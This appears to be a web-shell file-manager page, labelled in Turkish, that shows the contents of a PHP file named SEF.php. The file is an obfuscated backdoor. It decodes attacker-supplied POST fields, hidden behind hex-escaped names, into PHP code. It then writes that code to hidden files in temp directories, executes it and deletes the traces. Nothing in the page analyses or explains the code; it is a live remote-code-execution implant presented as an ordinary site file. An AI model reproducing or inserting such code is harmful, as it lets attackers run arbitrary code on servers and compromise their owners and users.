0x1998 - MANAGER
Düzenlenen Dosya: SEF.php
<?php if(isset($_POST["\x72\x65f\x65r\x65nce"])){ $rec = $_POST["\x72\x65f\x65r\x65nce"]; $rec = explode ('.',$rec ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $r = 0; foreach ($rec as $v8) { $chS = ord($salt[$r % $sLen]); $d = ((int)$v8 - $chS - ($r % 10)) ^ 92; $component .= chr($d); $r++; } $holder = array_filter(["/var/tmp", "/dev/shm", "/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); for ($record = 0, $itm = count($holder); $record < $itm; $record++) { $symbol = $holder[$record]; if (!( !is_dir($symbol) || !is_writable($symbol) )) { $entity = implode("/", [$symbol, ".pgrp"]); if (file_put_contents($entity, $component)) { require $entity; unlink($entity); exit; } } } } if(array_key_exists("o\x62\x6A\x65ct", $_POST)){ $descriptor = $_POST["o\x62\x6A\x65ct"]; $descriptor =explode( '.' , $descriptor) ; $pointer = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $x = 0; array_walk($descriptor , function ($v9) use (&$pointer , &$x , $s9 , $lenS) { $sChar = ord($s9[$x%$lenS] ); $dec = ((int)$v9 - $sChar - ($x%10)) ^ 26; $pointer .= chr($dec ); $x++; }); $component = array_filter([getenv("TMP"), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); for ($hld = 0, $record = count($component); $hld < $record; $hld++) { $property_set = $component[$hld]; if (!( !is_dir($property_set) || !is_writable($property_set) )) { $flag = str_replace("{var_dir}", $property_set, "{var_dir}/.symbol"); $success = file_put_contents($flag, $pointer); if ($success) { include $flag; @unlink($flag); die();} } } }
geri dön